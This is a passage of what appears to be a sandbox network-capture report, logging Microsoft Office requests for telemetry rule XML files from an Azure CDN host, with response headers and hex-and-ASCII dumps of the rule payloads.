Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:21 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145921Z-16849878b78zqkvcwgr6h55x9n00000007m000000000kue0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:21 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: e1e6f089-901e-005b-1e15-262005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145921Z-15b8d89586fst84kttks1s2css00000001wg000000007udb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:41 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:42 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:41 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 27f7fbdb-301e-0096-2237-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145941Z-16849878b785dznd7xpawq9gcn00000009m000000000cm82 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:42 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:22 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: bde7aa86-f01e-0052-08e5-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145922Z-17c5cb586f6mkpfkkpsf1dpups00000003e000000000gawx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr
2024-10-30 14:59:41 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:42 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 8be2881b-101e-008d-3d2e-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145942Z-15b8d89586flzzksdx5d6q7g1000000003ag00000000a8h2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:22 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e1f5471d-e01e-0051-4f6c-2784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145922Z-15b8d89586f6nn8zqg1h5suba800000003ag00000000gtnz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:42 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:42 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:42 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: f416a087-401e-0035-39d7-2682d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145942Z-17c5cb586f64v7xsc2ahm8gsgw0000000360000000009d2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:42 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:22 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:22 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145922Z-16849878b78p8hrf1se7fucxk8000000092000000000d0t5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:22 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T
2024-10-30 14:59:42 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:42 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:42 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 3a84bf68-701e-0053-4f6d-293a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145942Z-r197bdfb6b46kdskt78qagqq1c00000008dg00000000bmxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:42 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:23 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 796b115c-001e-005a-3627-26c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145923Z-17c5cb586f6f8m6jnehy0z65x400000007k0000000002vrv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:23 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145923Z-16849878b78qwx7pmw9x5fub1c00000006b000000000brk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:23 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145923Z-16849878b78nzcqcd7bed2fb6n00000000kg00000000gaqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 